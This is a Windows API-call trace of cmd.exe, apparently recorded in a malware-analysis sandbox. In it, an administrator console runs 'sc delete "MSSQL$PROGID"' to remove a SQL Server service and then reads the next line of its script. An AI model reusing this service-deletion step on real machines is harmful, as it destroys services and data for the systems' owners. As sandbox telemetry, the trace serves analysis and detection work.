returned 0x240000 [0076.795] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.795] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.795] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.796] GetLastError () returned 0x2 [0076.796] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.796] GetLastError () returned 0x2 [0076.796] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.796] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.796] GetLastError () returned 0x2 [0076.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.796] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.796] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.796] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.796] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.797] GetProcessHeap () returned 0x240000 [0076.797] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.797] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.797] GetProcessHeap () returned 0x240000 [0076.797] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xaa) returned 0x259180 [0076.797] GetProcessHeap () returned 0x240000 [0076.797] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xaa [0076.797] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$PROGID\"") returned 1 [0076.797] GetProcessHeap () returned 0x240000 [0076.797] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.797] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.797] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.797] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.798] GetProcessHeap () returned 0x240000 [0076.798] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.798] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.799] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.799] GetProcessHeap () returned 0x240000 [0076.799] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.799] GetProcessHeap () returned 0x240000 [0076.799] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.799] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$PROGID\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$PROGID\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"MSSQL$PROGID\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x208, dwThreadId=0xa38)) returned 1 [0076.802] CloseHandle (hObject=0x50) returned 1 [0076.802] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.802] GetProcessHeap () returned 0x240000 [0076.802] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.802] GetEnvironmentStringsW () returned 0x25ba10* [0076.802] GetProcessHeap () returned 0x240000 [0076.802] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0076.802] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0076.802] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.803] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.803] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0076.865] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.865] CloseHandle (hObject=0x54) returned 1 [0076.865] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.865] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.865] GetProcessHeap () returned 0x240000 [0076.865] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0076.865] GetEnvironmentStringsW () returned 0x261b10* [0076.866] GetProcessHeap () returned 0x240000 [0076.866] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.866] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.866] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.866] GetProcessHeap () returned 0x240000 [0076.866] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.866] GetEnvironmentStringsW () returned 0x25ba10* [0076.866] GetProcessHeap () returned 0x240000 [0076.866] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0076.866] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0076.866] GetProcessHeap () returned 0x240000 [0076.866] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.866] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.866] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.867] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.867] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.867] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.867] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.867] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.867] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.867] GetConsoleOutputCP () returned 0x1b5 [0076.868] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.868] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0076.868] GetProcessHeap () returned 0x240000 [0076.868] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.869] GetProcessHeap () returned 0x240000 [0076.869] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.869] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.869] GetFileType (hFile=0x120) returned 0x3 [0076.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.869] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.869] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.869] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.869] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.869] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.869] GetFileType (hFile=0x120) returned 0x3 [0076.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.870] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.870] GetFileType (hFile=0xb8) returned 0x3 [0076.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.871] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.871] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.871] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.871] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.872] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.872] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.872] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.872] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.872] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.873] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="SQL$PROGID\"\nL\"\nvice\n\n") returned 1 